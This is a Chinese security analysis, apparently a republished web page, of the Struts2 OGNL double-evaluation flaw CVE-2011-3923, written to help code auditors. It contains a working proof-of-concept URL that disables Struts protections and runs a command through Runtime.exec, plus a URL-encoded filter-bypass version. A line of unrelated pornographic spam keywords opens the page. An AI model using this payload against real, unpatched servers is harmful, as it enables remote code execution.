偷偷摘套内射激情视频,久久精品99国产国产精,中文字幕无线乱码人妻,中文在线中文a,性爽19p

Struts2漏洞分析之Ognl表達(dá)式特性引發(fā)的新思路

安全 應(yīng)用安全
在Ognl表達(dá)式中,會將被括號“()”包含的變量內(nèi)容當(dāng)做Ognl表達(dá)式執(zhí)行。Ognl表達(dá)式的這一特性,引發(fā)出一種新的攻擊思路。通過將惡意代碼存儲到變量中,然后在調(diào)用Ognl表達(dá)式的函數(shù)中使用這個變量來執(zhí)行惡意的代碼,從而實(shí)現(xiàn)攻擊。

一、摘要

在Ognl表達(dá)式中,會將被括號“()”包含的變量內(nèi)容當(dāng)做Ognl表達(dá)式執(zhí)行。Ognl表達(dá)式的這一特性,引發(fā)出一種新的攻擊思路。通過將惡意代碼存儲到變量中,然后在調(diào)用Ognl表達(dá)式的函數(shù)中使用這個變量來執(zhí)行惡意的代碼,從而實(shí)現(xiàn)攻擊。

本文將會以CVE-2011-3923漏洞作為示例,描述這種利用思路的具體過程。但是,本文的內(nèi)容絕不僅僅局限于這個漏洞,在實(shí)際的審計過程中,這種思路可以用來發(fā)現(xiàn)很多類似的漏洞。

二、背景介紹與原理分析

這個漏洞和CVE-2010-1870很相似,都是是通過Ognl表達(dá)式執(zhí)行java,來達(dá)到遠(yuǎn)程代碼執(zhí)行的效果。我們先來回顧下CVE-2010-1870漏洞,它是攻擊者通過get方法提交Ognl表達(dá)式,直接來調(diào)用java的靜態(tài)方法來實(shí)現(xiàn)代碼執(zhí)行。這個問題爆出來后,struts官方加強(qiáng)了對于用戶提交內(nèi)容的審核,禁止使用“#”、“\”等特殊字符作為參數(shù)提交。

那么這樣我們就沒有辦法遠(yuǎn)程執(zhí)行Ognl表達(dá)式了嗎?當(dāng)然不,Ognl給我們提供了另一種執(zhí)行它的方法,我們來看下官方文檔中一部分的內(nèi)容:

For example, this expression

#fact(30H)

looks up the fact variable, and interprets the value of that variable as an OGNL expression using the BigInteger representation of 30 as the rootobject. See below for an example of setting the fact variable with an expression that returns the factorial of its argument. Note that there is an ambiguity in OGNL's syntax between this double evaluation operator and a method call. OGNL resolves this ambiguity by calling anything that looks like a method call, a method call. For example, if the current object had a fact property that held an OGNL factorial expression, you could not use this approach to call it

fact(30H)

because OGNL would interpret this as a call to the fact method. You could force the interpretation you want by surrounding the property reference by parentheses:

(fact)(30H)

Ognl表達(dá)式給我們提供了“#fack()”這樣調(diào)用上下文對象方法的功能,我們需要留意的是紅色文字,大概的意思如下:如果你想要調(diào)用上下文環(huán)境中對象的方法,可以使用“(fact)()”這種格式來書寫。

而在測試過程中發(fā)現(xiàn),(one)(two)這種形式的Ognl表達(dá)式,會先將one當(dāng)做另一個Ognl表達(dá)式先執(zhí)行一遍,然后再繼續(xù)他后面的工作。這樣的話,如果程序在調(diào)用某一可以執(zhí)行Ognl表達(dá)式的函數(shù)時,我們通過變量將惡意的表達(dá)式傳入,那么,struts所做的那些過濾便成為了一扇“透明的門”。

三、實(shí)例模擬與跟蹤

在正常的調(diào)用中,我們找到了setValue這個函數(shù),它的作用是根據(jù)Ognl表達(dá)式對目標(biāo)進(jìn)行賦值,在這個過程中Ognl表達(dá)式會執(zhí)行。而struts2中通過在繼承ActionSupport的類中,設(shè)置setter和getter方法,可以實(shí)現(xiàn)用戶通過get和post方法直接為私有成員變量賦值。這種方法便會用到setValue這個函數(shù)。下面我們來搭建一個這樣的類:

package action;

import ognl.Ognl;

import com.opensymphony.xwork2.ActionSupport;

public class HelloWorld extends ActionSupport{

private String tang3;

public void settang3(String tang3) {

this.tang3 = tang3;

}

public String gettang3() {

return tang3;

}

public String execute() throws Exception {

System.out.println(tang3);

return SUCCESS;

}

}

上面的這段代碼只是簡單的實(shí)現(xiàn)了接受參數(shù)“tang3”,并將它的內(nèi)容打印到控制臺中的功能。在跟蹤它的過程中發(fā)現(xiàn),用戶提交的參數(shù)時,會通過調(diào)用com.opensymphony.xwork2.interceptor.ParametersInterceptor這個類中的set Parameters方法來獲取參數(shù),而這個方法會調(diào)用setValue函數(shù),代碼如下:

if (acceptableName) {

Object value = entry.getValue();

try {

stack.setValue(name, value); //紅色字體

} catch (RuntimeException e) {

注意紅色字體部分,name參數(shù)是Ognl表達(dá)式部分,value是被賦值的對象,而之前的CVE-2010-1870漏洞,也是通過這個函數(shù)執(zhí)行的Ognl表達(dá)式。下面我們來看下如何結(jié)合前面講到的內(nèi)容來讓這個函數(shù)執(zhí)行我們需要的Java代碼。

按照之前我們所說的Ognl表達(dá)式特性,我們應(yīng)該構(gòu)造這樣的url:

/helloword.acton?tang3=<OGNL statement>&(tang3)('meh')=1

提交這樣的url后,web server將會做兩件事,第一,將Ognl表達(dá)式內(nèi)容存進(jìn)了tang3變量中;第二,名為(tang3)('meh')的http參數(shù)將會被當(dāng)做另一個Ognl表達(dá)式執(zhí)行,并且action屬性tang3將會從action中恢復(fù)內(nèi)容,即變成了(<OGNL statement>)(‘meh’)。

因?yàn)閔ttp參數(shù)傳入到變量中會自動進(jìn)行url解碼,那么我們便可以使用url編碼“#”這樣的特定字符,來繞過正則表達(dá)式的過濾。

在構(gòu)造語句中還需要注意的一點(diǎn)就是,我們要確保tang3屬性中的內(nèi)容先被執(zhí)行。所以這里需要一個小技巧,在提交參數(shù)時,使用z[(tang3)(‘meh’)]=1這種形式的參數(shù),可以確保tang3變量被首先執(zhí)行。下面我們構(gòu)造一條可以彈出計算器的url:

/helloworld.action?tang3=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]=true, @java.lang.Runtime@getRuntime().exec('calc'))(meh)&z[(tang3)('meh')]=1

url編碼后:

/helloworld.action?tang3=%28%23context["xwork.MethodAccessor.denyMethodExecution"]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess["allowStaticMethodAccess"]%3dtrue,%[email]20@java.lang.Runtime[/email]@getRuntime%28%29.exec%28%27calc%27%29%29%28meh%29&z[%28tang3%29%28%27meh%27%29]=1

效果如下圖:

[[106190]]

從最下面的紅色框中,我們可以看出,控制臺打印出的tang3變量的內(nèi)容,就是我們剛才輸入的代碼。

四、總結(jié)

1. 這個漏洞的利用方法,存在局限性,目標(biāo)代碼需要有一個私有成員變量可以直接通過http參數(shù)賦值。同時,攻擊者需要知道這個私有成員的名字。不過從代碼審計的角度來看,可以很容易發(fā)現(xiàn)這種問題。但是,由于大部分使用struts框架搭建的網(wǎng)站都是閉源的,導(dǎo)致很難進(jìn)行白盒測試。

2. 這個問題在struts2.3.1.2版本之后便已經(jīng)修復(fù)了,官方補(bǔ)丁的修復(fù)原文如下:

The regex pattern inside the ParameterInterceptor was changed to provide a more narrow space of acceptable parameter names.

Furthermore the new setParameter method provided by the value stack will allow no more eval expression inside the param names.

修復(fù)方法就是,進(jìn)一步減少ParameterInterceptor中白名單包含的內(nèi)容,并且禁止參數(shù)名執(zhí)行正則表達(dá)式

3. Ognl表達(dá)式的強(qiáng)大,能夠明顯的從struts所爆出的這些漏洞中看出。只要存在調(diào)用Ognl表達(dá)式的函數(shù),都有可能出現(xiàn)代碼執(zhí)行問題。我在之前的《Struts2漏洞淺析之Ongl代碼執(zhí)行分析》一文中,稱findValue為struts中的eval函數(shù),明顯的有些狹隘了。Ognl表達(dá)式才稱得上是eval函數(shù),在代碼的編寫的過程中要小心的處理它的表達(dá)式。

4. 再次重申在本文開始處所強(qiáng)調(diào)的,這篇文章并不僅僅局限于CVE-2011-3923這個漏洞,而且,它已經(jīng)被修補(bǔ)了。本文的目的是,希望讀者能夠通過這個漏洞,了解到通過括號包裹變量,執(zhí)行Ognl表達(dá)式這個特性,以此為我們在日后的審計增加一個思路。

責(zé)任編輯:藍(lán)雨淚 來源: 紅黑聯(lián)盟
相關(guān)推薦

2012-03-08 13:15:10

JavaStrutsOGNL

2009-06-08 16:44:00

struts2 ogn

2013-07-18 15:09:27

2013-07-19 09:36:04

struts2struts2漏洞

2012-12-18 16:18:06

2014-04-25 09:43:54

2017-07-11 09:42:22

漏洞

2022-05-26 08:53:47

Go函數(shù)代碼

2016-06-08 10:09:24

2013-07-22 10:45:56

2017-03-15 15:21:59

數(shù)據(jù)包漏洞攻擊

2013-05-22 10:28:19

2013-07-24 10:35:02

2009-06-08 16:44:00

Struts2文件上傳

2017-07-14 13:51:19

2013-07-18 15:57:42

2009-07-29 09:54:34

struts2和str

2016-04-29 10:58:13

2021-05-05 11:31:15

JDK新特性Lambda表達(dá)式Java8

2009-09-17 09:44:54

Linq Lambda
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號